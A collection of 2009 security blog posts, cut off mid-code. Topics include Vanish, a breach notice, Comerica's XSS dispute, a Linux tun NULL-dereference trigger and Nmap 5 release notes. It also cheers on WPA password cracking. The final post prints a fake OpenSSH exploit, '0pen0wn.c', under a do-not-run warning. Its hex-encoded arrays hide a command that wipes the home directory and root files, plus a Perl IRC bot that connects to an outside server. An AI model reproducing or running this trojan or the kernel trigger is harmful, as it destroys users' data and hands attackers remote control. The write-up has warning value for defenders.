This system has had some discussion in the forensics world over the past few days.  Here’s an extract from Science Daily:

“Computers have made it virtually impossible to leave the past behind. College Facebook posts or pictures can resurface during a job interview. A lost cell phone can expose personal photos or text messages. A legal investigation can subpoena the entire contents of a home or work computer. The University of Washington has developed a way to make such information expire. After a set time period, electronic communications such as e-mail, Facebook posts and chat messages would automatically self-destruct, becoming irretrievable from all Web sites, inboxes, outboxes, backup sites and home computers. Not even the sender could retrieve them.

“The team of UW computer scientists developed a prototype system called Vanish that can place a time limit on text uploaded to any Web service through a Web browser.

[Perhaps a bit narrower focus than the original promise, but it is a prototype - rms]

“After a set time text written using Vanish will, in essence, self-destruct.  The Vanish prototype washes away data using the natural turnover, called “churn,” on large file-sharing systems known as peer-to-peer networks. For each message that it sends, Vanish creates a secret key, which it never reveals to the user, and then encrypts the message with that key. It then divides the key into dozens of pieces and sprinkles those pieces on random computers that belong to worldwide file-sharing networks. The file-sharing system constantly changes as computers join or leave the network, meaning that over time parts of the key become permanently inaccessible. Once enough key parts are lost, the original message can no longer be deciphered.”

However, given the promise to clean up social networking sites, and as I started to read the paper, an immediate problem occurred to me.  And, lo and hehold, the authors admit it:

“We therefore focus our threat model and subsequent analyses on attackers who wish to compromise data privacy. Two key properties of our threat model are:
1. Trusted data owners. Users with legitimate access to the same VDOs trust each other.
2. Retroactive attacks on privacy. Attackers do not know which VDOs they wish to access until after the VDOs expire.
The former aspect of the threat model is straightforward, and in fact is a shared assumption with traditional encryption schemes: it would be impossible for our system to protect against a user who chooses to leak or permanently preserve the cleartext contents of a VDO-encapsulated file through out-of-band means. For example, if Ann sends Carla a VDO-encapsulated email, Ann must trust Carla not to print and store a hard-copy of the email in cleartext.”

So, this system works perfectly.  If you only communicate with people you trust (both in terms of intent, and competence), and who only use the system properly, and never use any of the information in any program that is not part of the system, it’s completely secure.

How often have we heard that said?

The default to privacy aspect is interesting, and the automatic transparency for the user as well, but this simply moves the problem one step back, as it were.  In terms of utility to social networking, the social networks would have to be completely rewritten to adher to the system, and even then it would be pretty much impossible to ensure that nobody would have the ability to scrape data and keep or publish it elsewhere.

(Plus, the data is still there, and so is Moore’s Law …)

God bless the law that forces companies to disclose when they are hacked and customer information is compromised. Not only do we get a chance to protect ourselves but it also reminds us that this apparently happens more often then we would think.

This time it’s elance.com:

Dear (my account name),
We recently learned that certain Elance user information was accessed without authorization, including potentially yours. The data accessed was contact information — specifically name, email address, telephone number, city location and Elance login information (passwords were protected with encryption). This incident did NOT involve any credit card, bank account, social security or tax ID numbers.
We have remedied the cause of the breach and are working with appropriate authorities. We have also implemented additional security measures and have strengthened password requirements to protect all of our users.
We sincerely regret any inconvenience or disruption this may cause.
If you have any unanswered questions and for ongoing information about this matter, please visit this page in our Trust & Safety center: http://www.elance.com/p/trust/account_security.html
For information on re-setting your password, visit: http://help.elance.com/forums/30969/entries/47262
Thank you for your understanding,
Michael Culver
Vice President
Elance

What I would like to see, is what “additional security measures” are they really taking. Also (and I’ll admit I have a one-track-mind) did they do a proper security scan to ensure the servers don’t have any holes? What were the results?

On Monday, it’ll be 40 years since a man first walked on the moon.

Big deal, some of you will say.  I imagine that most of the people who read this weren’t even born then, so all your lives were lived after man walked on the moon.

And, really, it wasn’t a big deal.  We came, we walked around a bit, we left.  We never went back.  This week we sent an unmanned spacecraft back, and it took some pictures of the places we once landed.  Big, brave us.

In the 40 years since then, what did we do?  We spent money on wars (and rumours of wars).  “Greed is good” became an acceptable business motto.  We had innumerable economic crashes (mostly due to greed).  Science has become a political football (with politicians and business telling scientists that facts aren’t facts because we can’t afford them).

We did invent the Internet, and personal computers.  We mostly use them now for porn.
So, to all of you kids who don’t remember the great event, accept as a video clip of ancient history:

You’re right.  Big deal.

Comerica bank seems to think disclosing cross site scripting vulnerabilities in the bank’s web site is illegal:

“Comerica hereby demands that the above-referenced Subject Site be shut down immediately and that the identity of the account holder be provided to the undersigned.

Comerica’s demand is based upon the fact that the Subject Site is designed to enable that subscriber and anyone else viewing the site to take actions to attempt to impersonate Comerica to its customers”

(full document here)

No Comerica, it’s not the “how to use Comerica com to phish their customers” that enables that, it’s comerica.com that enables that. But at least I finally know why I’m receiving a flood of Comerica phishing emails in the last few weeks (I haven’t even heard of the bank before then).

Needless to say, they haven’t fixed the problem. Of course, for them the problem is not that phishers can attack Comerica bank customers but that somebody is saying it out loud.

(more pictures here)

(via @lancejssc)

A NULL reference vulnerability in the tun source code of the Linux kernel has been discovered to be “immune” if the code is audited, and vulnerable once GCC has put into place its code optimizations.

The vulnerability allows executing arbitrary code and gaining root access.

An exploit has been released proving that the vulnerability is not just “theoretically” there, but can be actually exploited.

Need we say Black Box Fuzzing? a API fuzzer such as beSTORM would have easily caught as beSTORM can be told to open the /dev/net/tun driver and write data directly to it, one of the first tests it will preform will be the “old” nothing (NULL) data transfer.

BTW: If you want to test the vulnerability on your kernel here is a code snip:

int fd;
struct pollfd pfd;
fd = open("/dev/net/tun", O_RDWR);
pfd.fd = fd;
pfd.events = POLLIN | POLLOUT;
poll(&pfd, 1, 0);

So here’s the news everyone, nmap v5 has been released, and it’s well worth upgrading.

Thanks to this one goes to Fyodor, HDM, and everyone else involved in getting to this point.

Here’s the release notes from insecure.org
The Nmap Changelog describes nearly 600 significant improvements since our last major release (4.50). Here are the highlights:

Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. It existed in Nmap 4.50, but has been dramatically improved:

• Every script has been improved, and the number of scripts has grown nearly 50% to 59.
• Ron Bowes embarked on a massive MSRPC/NETBIOS project to allow Nmap to interrogate Windows machines much more completely. He added six NSE libraries (msrpc, msrpcperformance, msrpctypes, netbios, smb, and smbauth) and 14 scripts (p2p-conficker, smb-brute, smb-check-vulns, smb-enum-domains, smb-enum-processes, smb-enum-sessions, smb-enum-shares, smb-enum-users, smb-os-discovery, smb-pwdump, smb-security-mode, smb-server-stats, and smb-system-info). He also wrote a detailed paper on the new scripts.
• Nmap was one of the first scanners to remotely detect the Conficker worm thanks to smb-check-vulns, and p2p-conficker.
• Other new scripts include:
  asn-query—Maps IP addresses to autonomous system (AS) numbers.
  auth-spoof—Checks for an identd (auth) server which is spoofing its replies.
  banner—A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.
  dns-random-srcport—Checks a DNS server for the predictable-port recursion vulnerability. Predictable source ports can make a DNS server vulnerable to cache poisoning attacks (see CVE-2008-1447).
  dns-random-txid—Checks a DNS server for the predictable-TXID DNS recursion vulnerability. Predictable TXID values can make a DNS server vulnerable to cache poisoning attacks (see CVE-2008-1447).
  ftp-bounce—Checks to see if an FTP server allows port scanning using the FTP bounce method.
  http-iis-webdav-vuln—Checks for a vulnerability in IIS 5.1/6.0 that allows arbitrary users to access secured WebDAV folders by searching for a password-protected folder and attempting to access it. This vulnerability was patched in Microsoft Security Bulletin MS09-020.
  http-passwd—Checks if a web server is vulnerable to directory traversal by attempting to retrieve /etc/passwd using various traversal methods such as requesting ../../../../etc/passwd.
  imap-capabilities—Retrieves IMAP email server capabilities.
  mysql-info—Connects to a MySQL server and prints information such as the protocol and version numbers, thread ID, status, capabilities, and the password salt.
  pop3-brute—Tries to log into a POP3 account by guessing usernames and passwords.
  pop3-capabilities—Retrieves POP3 email server capabilities.
  rpcinfo—Connects to portmapper and fetches a list of all registered programs.
  snmp-brute—Attempts to find an SNMP community string by brute force guessing.
  socks-open-proxy—Checks if an open socks proxy is running on the target.
  upnp-info—Attempts to extract system information from the UPnP service.
  whois—Queries the WHOIS services of Regional Internet Registries (RIR) and attempts to retrieve information about the IP Address Assignment which contains the Target IP Address.
• The set of new libraries is equally impressive. Modules are all listed here (scroll down to “Modules”).
• Introduced the NSE Documentation Portal which documents every NSE script and library included with Nmap. It is generated from NSEDoc comments embedded in scripts. Scripts are available for download on this site as well. We also dramatically improved the NSE Guide.
• NSE now supports run-time interaction so you know when it will complete, and the –host-timeout option so you can define when it completes. Support for -S (source IP address) and –ip-options has been added to the NSE and version detection subsystems.
• Added Boolean Operators for –script. You may now use (”and”, “or”, or “not”) combined with categories, filenames, and wildcarded filenames to match a set of files. A new default category includes the scripts which run by default when NSE is requested.
• NSE can now be used in combination with ping scan (e.g. “-sP –script”) so that you can execute host scripts without needing to perform a port scan.

Zenmap graphical front-end and results viewer

Zenmap is a cross-platform (Linux, Windows, Mac OS X, etc.) Nmap GUI and results viewer which supports all Nmap options. It aims to make Nmap easy for beginners to use while providing advanced features for experienced Nmap users. Frequently used scans can be saved as profiles to make them easy to run repeatedly. A command creator allows interactive creation of Nmap command lines. Scan results can be saved and viewed later. Saved scan results can be compared with one another to see how they differ. The results of recent scans are stored in a searchable database. While Zenmap already existed in Nmap 4.50, it has improved dramatically since then:

• While Nmap stands for “Network Mapper”, it hasn’t been able to actually draw you a map of the network—until now! The new Zenmap Network Topology feature provides an interactive, animated visualization of the hosts on a network and connections between them. The scan source is (initially) in the center, with other hosts on a series of concentric circles which represent the number of hops away they are from the source. Nodes are connected by lines representing discovered paths between them. Read the full details (and oogle the pretty pictures) in our article on Surfing the Network Topology. Topology views can be saved as a PNG, postscript, PDF, or SVG image.
• The scan aggregation feature allows you to combine the results of many Nmap scans into one view. When one scan is finished, you may start another in the same window. Results of the new scan are seamlessly merged into one view.
• Zenmap has been internationalized and translated by volunteers into four languages (French, German, Brazilian Portuguese, and Croatian). We have instructions on using an existing translation and we’re always looking for volunteers to translate Zenmap into your native language.
• Overhauled the default list of scan profiles to provide a much more diverse and useful set of default profile options. If users don’t like any of these canned scan commands, they can easily create their own in the Profile Editor.
• Added a context-sensitive help system to the Profile Editor. Mouse-over options to learn more about what they do and their argument syntax.
• Added advanced search functionality to Zenmap so that you can locate previous scans using criteria such as which ports were open, keywords in the target names, OS detection results, etc. Try it out with Ctrl-F or “Tools->Search Scan Results”.
• The “Compare Results” feature now uses our new Ndiff scan comparison tool.
• And more: An animated throbber has been added to indicate that a scan is running, and a new cancel button lets you stop a scan in its track. The Nmap output window now scrolls automatically, and ports are colored based on open/closed state.
• David wrote an exceptional users’ guide, which also became a chapter of Nmap Network Scanning.

Ncat data transfer, redirection, and debugging tool

.       .
`-"'"-'/
} 6 6 {
==. Y ,==
/^^^  .
/       )
(  )-(  )/     _
-""---""---   /
/   Ncat    _/
(     ____
_.=|____E

Nmap 5 introduces Ncat, a general-purpose command-line tool for reading, writing, redirecting, and encrypting data across a network. It aims to be your network Swiss Army knife, handling a wide variety of security testing and administration tasks. Ncat is suitable for interactive use or as a network-connected back end for other tools. Ncat can:

• Act as a simple TCP/UDP/SSL client for interacting with web servers, telnet servers, mail servers, and other TCP/IP network services. Often the best way to understand a service (for fixing problems, finding security flaws, or testing custom commands) is to interact with it using Ncat. This lets you you control every character sent and view the raw, unfiltered responses.
• Act as a simple TCP/UDP/SSL server for offering services to clients, or simply to understand what existing clients are up to by capturing every byte they send.
• Redirect or proxy TCP/UDP traffic to other ports or hosts. This can be done using simple redirection (everything sent to a port is automatically relayed somewhere else you specify in advance) or by acting as a SOCKS or HTTP proxy so clients specify their own destinations. In client mode, Ncat can connect to destinations through a chain of anonymous or authenticated proxies.
• Run on all major operating systems. We distribute Linux, Windows, and Mac OS X binaries, and Ncat compiles on most other systems. A trusted tool must be available whenever you need it, no matter what computer you’re using.
• Encrypt communication with SSL, and transport it over IPv4 or IPv6.
• Act as a network gateway for execution of system commands, with I/O redirected to the network. It was designed to work like the Unix utility cat, but for the network.
• Act as a connection broker, allowing two (or far more) clients to connect to each other through a third (brokering) server. This enables multiple machines hidden behind NAT gateways to communicate with each other, and also enables the simple Ncat chat mode.

These capabilities become even more powerful and versatile when combined.

Ncat is our modern reinvention of the venerable Netcat (nc) tool released by Hobbit in 1996. While Ncat is similar to Netcat in spirit, they don’t share any source code. Instead, Ncat makes use of Nmap’s well optimized and tested networking libraries. Compatibility with the original Netcat and some well known variants is maintained where it doesn’t conflict with Ncat’s enhancements or cause usability problems. Ncat adds many capabilities not found in Hobbit’s original nc, including SSL support, proxy connections, IPv6, and connection brokering. The original nc contained a simple port scanner, but we omitted that from Ncat because we have a preferred tool for that function.

Ncat is extensively documented in its Users’ Guide, man page, and home page.

Host discovery and port scanning performance and features

Nmap has been doing host discovery and port scanning since its release in ‘97, but we continue to improve this core functionality. We’ve added many new features and dramatically improved performance! Here are the biggest enhancements since 4.50:

• Nmap now scans the most common 1,000 ports by default in either protocol (UDP scan is still optional). These were determined by spending months scanning tens of millions of IPs on the Internet. This makes Nmap faster (used to scan 1,715 TCP ports by default) and yet more comprehensive since the smaller number of ports are better chosen.
• Nmap fast scan (-F) now scans the top 100 ports by default in either protocol. This is a decrease from 1,276 (TCP) and 1,017 (UDP) in Nmap 4.68. Port scanning time with -F is generally an order of magnitude faster than before, making -F worthy of its “fast scan” moniker.
• The –top-ports option lets you specify the number of ports you wish to scan in each protocol, and will pick the most popular ports for you based on the new frequency data. For both TCP and UDP, the top 10 ports gets you roughly half of the open ports. The top 1,000 (out of 65,536 possible) finds roughly 93% of the open TCP ports and more than 95% of the open UDP ports.
• Added a new –min-rate option that allows specifying a minimum rate at which to send packets. This allows you to override Nmap’s congestion control algorithms and request that Nmap try to keep at least the rate you specify. A complementary –max-rate option was added as well. They are documented here.
• Added SCTP port scanning support to Nmap. Stream control transmission protocol is a layer 4 protocol used mostly for telephony related applications. This brings the following new features:
  • SCTP INIT chunk port scan (-sY): open ports return an INIT-ACK chunk, closed ones an ABORT chunk. This is the SCTP equivalent of a TCP SYN stealth scan.
  • SCTP COOKIE-ECHO chunk port scan (-sZ): open ports are silent, closed ports return an ABORT chunk.
  • SCTP-specific IP protocol scan (-sO -p sctp).
  • SCTP-specific traceroute support (–traceroute).
  • The server scanme.csnc.ch has been set up for your SCTP scan testing pleasure. But note that SCTP doesn’t pass through most NAT devices.
• David spent more than a month on algorithms to improve port scan performance while retaining or improving accuracy. The changes, described here, reduce our “benchmark scan time” (which involves many different scan types from many source networks to many targets) from 1879 seconds to 1321 without harming accuracy. That is a 30% time reduction! Fyodor made a number of performance improvements as well.
• The host discovery (ping probe) defaults have been enhanced to include twice as many probes. The default is now “-PE -PS443 -PA80 -PP”. In exhaustive testing of 90 different probes, this emerged as the best four-probe combination, finding 14% more Internet hosts than the previous default, “-PE -PA80″. The default for non-root users is -PS80,443, replacing the previous default of -PS80. In addition, ping probes are now sent in order of effectiveness (-PE first) so that less effective probes may not have to be sent. ARP ping is still the default on local ethernet networks.
• Fixed an integer overflow which prevented a target specification of “*.*.*.*” from working. Support for the CIDR /0 is now also available for those times you wish to scan the entire Internet.
• When Nmap finds a probe during ping scan which elicits a response, it now saves that information for the port scan and later phases. It can then “ping” the host with that probe as necessary to collect timing information even if the host is not responding to the normal port scan packets. Previously, Nmap’s port scan timing pings could only use information gathered during that port scan itself. A number of other “port scan ping” system improvements were made at the same time to improve performance against firewalled hosts (full details).

Fyodor’s Nmap book

Fyodor released Nmap Network Scanning: The Official Nmap Project Guide to Network Discovery and Security Scanning. From explaining port scanning basics for novices to detailing low-level packet crafting methods used by advanced hackers, this book suits all levels of security and networking professionals. A 42-page reference guide documents every Nmap feature and option, while the rest of the book demonstrates how to apply those features to quickly solve real-world tasks. It was briefly the #1 selling computer book on Amazon. More than half of the book is already free online.

A German translation is available from Open Source Press; Korean and Brazilian Portuguese translations are forthcoming.

Operating system detection

Thanks to fingerprint submissions from thousands of Nmap users around the world, the 2nd generation OS detection database has nearly doubled in size since 4.50 to 2,003 entries. These include the latest versions of Windows, Linux, and Mac OS X as well as more specialized entries such as oscilloscopes, ATM machines, employee timeclocks, DVRs, game consoles, and much more. Keep those submissions coming!

In addition to doubling the database size, we enhanced the OS detection engine and its tests to improve accuracy. For example, we added a new SEQ.CI test (IP ID sequence generation from closed TCP port) and removed the U1.RUL, U1.TOS, IE.DLI, IE.SI, and IE.TOSI tests.

Version detection

Nmap’s version detection system interrogates open ports to determine what service (e.g. http, smtp) is running and often the exact application name and version number. The version detection database grew by nearly a thousand signatures. It grew from 4,558 signatures representing 449 protocols in Nmap 4.50 to 5,512 signatures for 511 protocols in 5.00. You can read about Doug’s signature creation adventures here, here, and here. The service protocols with the most signatures are http (1,868), telnet (584), ftp (506), smtp (363), pop3 (209), http-proxy (136), ssh (123), imap (122), and irc (48). Among the protocols with just one signature are netrek, gopher-proxy, ncat-chat, and metasploit.

Ndiff scan comparison tool

The new Ndiff utility compares the results of two Nmap scans and describes the new/removed hosts, newly open/closed ports, changed operating systems, or application versions, etc. This makes it trivial to scan your networks on a regular basis and create a report (XML or text format) on all the changes. See the Ndiff man page and home page for more information. Ndiff is included in our binary packages and built by default, though you can prevent it from being built by specifying the –without-ndiff configure flag.

Here are excerpts from an Ndiff comparison between two scans for the Facebook network:

> ndiff -v facebook-vscan-1237136401.xml facebook-vscan-1237395601.xml
-Nmap 4.85BETA3 at 2009-03-15 10:00
+Nmap 4.85BETA4 at 2009-03-18 10:00

+arborvip.tfbnw.net (69.63.179.23):
+Host is up.
+Not shown: 100 filtered ports

www2.02.07.facebook.com (69.63.180.12):
Host is up.
Not shown: 98 filtered ports
PORT    STATE SERVICE  VERSION
-80/tcp  open  http     Apache httpd 1.3.41.fb2
+80/tcp  open  http     Apache httpd 1.3.41.fb1
443/tcp open  ssl/http Apache httpd 1.3.41.fb2

And here is a trivial cron script demonstrating how easy it is to scan a network daily and mail yourself the changes (and full results in this case):

#!/bin/sh
date=`date "+%s"`
cd /hack/facebook/scripts/
nmap -T4 -F -sV -O --osscan-limit --osscanguess -oA facebook-${date} [netblocks] > /dev/null
ndiff facebook-old.xml facebook-${date}.xml > facebook-diff-${date}
cp facebook-${date}.xml facebook-old.xml
echo "n********** NDIFF RESULTS **********n"
cat facebook-vscan-diff-${date}
echo "n********** SCAN RESULTS **********n"
cat facebook-vscan-${date}.nmap

You could do a similar thing using Windows’ scheduled tasks.

IronGeek has created an Ndiff 5 introductory video demonstrating command-line Ndiff plus its use within Zenmap.

Documentation and web site improvements

While Nmap Network Scanning may be the most exciting documentation news for this release, we did make many other important web site and documentation changes:

• Added German and Russian translations of the Nmap Reference Guide (Man Page). You can choose from all 16 available languages from the Nmap docs page.
• Nmap has moved. Everything at http://insecure.org/nmap/ can now be found at http://nmap.org . That should save your fingers from a little bit of typing.
• A copy of the Nmap public svn repository (/nmap, plus its zenmap, nsock, nbase, and ncat externals) is now available at http://nmap.org/svn/. We update this regularly, but it may be slightly behind the SVN version. It is particularly useful when you need to link to files in the tree, since browsers generally don’t handle svn:// repository links.

Portability enhancements

Nmap’s dramatic improvements are of little value if it doesn’t run on your system. Fortunately, portability has always been a high priority. Nmap 5.00 runs on all major operating systems, plus the Amiga. Portability improvements in this release include:

• A Mac OS X Nmap/Zenmap installer is now available from the Nmap download page. It is rather straightforward, but detailed instructions are available anyway. As a universal installer, it works on both Intel and PPC Macs. It is distributed as a disk image file (.dmg) containing an mpkg package. The installed Nmap include OpenSSL support and also supports Authorization Services so that Zenmap can run as root when necessary.
• Nmap’s special WinPcap installer now handles 64-bit Windows machines by installing the proper 64-bit npf.sys.
• The Nmap installer was updated to handle the Windows 7 release candidate.
• The Windows version of Nmap (both .zip and executable installer) now supports OpenSSL, as do the Linux RPM binaries we distribute. The UNIX source tarball has supported OpenSSL for years.
• We now compile in IPv6 support on Windows. In order to use this, you need to have IPv6 set up. It is installed by default on Vista, but must be manually installed for XP.

Even more improvements

• The compile-time Nmap ASCII dragon is now more ferocious thanks to better teeth alignment:

  (  )   /   _                 (
  |  (   ( .(               )                      _____
  `  `   )              (  ___                 / _
  (_`    +   . x  ( .            /   ____-----------/ (o)   _
  - .-               +  ;          (  O                           ____
  )        _____________  `                /
  (__                +- .( -'.-

• The new –stats-every option takes a time interval that controls how often timing status updates are printed. It is useful when Nmap is run by another program as a subprocess, or if you just like frequent timing updates.
• Completion time estimates provided in verbose mode or when you hit a key during scanning are now more accurate.
• The nmap-dev and nmap-hackers mailing list RSS feeds at SecLists.Org now include message excerpts to make it easier to identify interesting messages and speed the process of reading through the list. Feeds for all other mailing lists archived at SecLists.Org have been similarly augmented (details).
• Fixed an integer overflow in the scan progress meter. As an Nmap user, few things are more discouraging than seeing your estimated completion time rise so high that it goes negative.
• Nmap’s output options (-oA, -oX, etc.) now support strftime()-like conversions in the filename. %H, %M, %S, %m, %d, %y, and %Y are all the same as in strftime(). %T is the same as %H%M%S, %R is the same as %H%M, and %D is the same as %m%d%y. So means that “-oX ’scan-%T-%D.xml’” uses an XML file in the form of “scan-144840-121307.xml”.
• Removed Brazilian poetry/lyrics from Zenmap source code (NmapOutputViewer.py). We’ve seen enough of it in the debug logs. “E nao se entrega, nao”. We also removed a code comment which declared /*WANKER ALERT!*/ for no good reason.
• Nmap and Nmap-WinPcap silent installation now works on Windows. Nmap can be silently installed with the /S option to the installer. If you install Nmap from the zip file, you can install just WinPcap silently with the /S option to that installer.
• –traceroute is now faster and more effective because it uses the timing ping probe saved from host discovery and port scanning. The timing ping probe is always the best probe Nmap knows about for eliciting a response from a target.
• We now have a public TODO list describing our future plans and tasks which need work.
• Google sponsored 6 college/grad students for Summer of Code 2009. They and their ongoing projects are introduced here.
• Nmap now builds with the _FORTIFY_SOURCE=2 define. With modern versions of GCC, this adds extra buffer overflow protection and other security checks.
• Nmap was discovered in its eighth movie. In the Russian film Khottabych, teenage hacker Gena uses Nmap (and telnet) to hack Microsoft. In response, MS sends a pretty female hacker to flush him out (more details and screen shots).
• To better support users with attention deficit disorder, we created an Nmap Twitter feed. We still recommend that all users subscribe to the low-traffic nmap-hackers announcement mailing list.
• Nmap won LinuxQuestions.Org Network Security Application of the Year for the sixth year in a row.
• These release notes mostly discuss new features, but we also made many performance enhancements and fixed a large number of bugs which could lead to crashes, compilation failures, or other misbehavior.

These are just highlights from the full list of changes you can find in our CHANGELOG.

Gloria pointed out an article in the Vancouver Sun and, just in case it disappears in a few days, I found the author’s blog.

The main thrust of the article is on the risk/benefit of a lack of privacy, as practiced in social networking.  This (absent the social networking) reminded me of David Brin’s “The Transparent Society,” and if you haven’t read it, I recommend it.

The guys over at Offensive Security have released a 49 Million WPA optimised password dictionary file, the torrents are up at this link here.

If you download it though, please keep the torrents seeding for a while to help others out.

Have fun cracking!

It’s nice to have milw0rm around: http://www.milw0rm.com/exploits/9137.

Be careful out there, firefox 3.5 users.

Okay, so I saw this online today, and well, after reading through the code, I was kind of certain what this would do. unfortunately being the curious individual that I am, and the fact that I was planning on re-building my Mac tonight anyway (it was running like a dog lately), I had to download it, and compile it, and well run it
Here’s the source code (DO NOT RUN THIS!!!!):

===============

/* 0pen0wn.c by anti-sec group
* ---------------------------
* OpenSSH
#include
#include
#include
#include
#include
#include
#include
#include
#include 

#define VALID_RANGE 0xb44ffe00
#define build_frem(x,y,a,b,c) a##c##a##x##y##b

char jmpcode[] =
"x72x6Dx20x2Dx72x66x20x7ex20x2Fx2Ax20x32x3ex20x2f"
"x64x65x76x2fx6ex75x6cx6cx20x26";

char shellcode[] =
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx0ax24x6bx65"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a"
"x24x63x68x61x6ex3dx22x23x63x6ex22x3bx24x6bx65x79"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
"x2ex6ex65x74x22x3bx24x53x49x47x7bx54x45x52x4dx7d"
"x64x20x2bx78x20x2fx74x6dx70x2fx68x69x20x32x3ex2f"
"x64x65x76x2fx6ex75x6cx6cx3bx2fx74x6dx70x2fx68x69"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x73x6cx65x65x70x20x31x3bx0ax20x20x20x20x20x20x20"
"x6bx5cx6ex22x3bx7dx7dx70x72x69x6ex74x20x24x73x6f"
"x63x6bx20x22x4ax4fx49x4ex20x24x63x68x61x6ex20x24"
"x6bx65x79x5cx6ex22x3bx77x68x69x6cx65x20x28x3cx24"
"x73x6fx63x6bx3ex29x7bx69x66x20x28x2fx5ex50x49x4e"
"x47x20x28x2ex2ax29x24x2fx29x7bx70x72x69x6ex74x20"
"x23x21x2fx75x73x72x2fx62x69x6ex2fx70x65x72x6cx0a";

char fbsd_shellcode[] =
"x22x3bx0ax77x68x69x6cx65x20x28x3cx24x73x6fx63x6b"
"x6ex22x3bx0ax20x20x20x20x20x20x20x20x20x20x20x20"
"x20x3dx22x66x61x67x73x22x3bx24x6ex69x63x6bx3dx22"
"x70x68x70x66x72x22x3bx24x73x65x72x76x65x72x3dx22"
"x69x72x63x2ex68x61x6dx2ex64x65x2ex65x75x69x72x63"
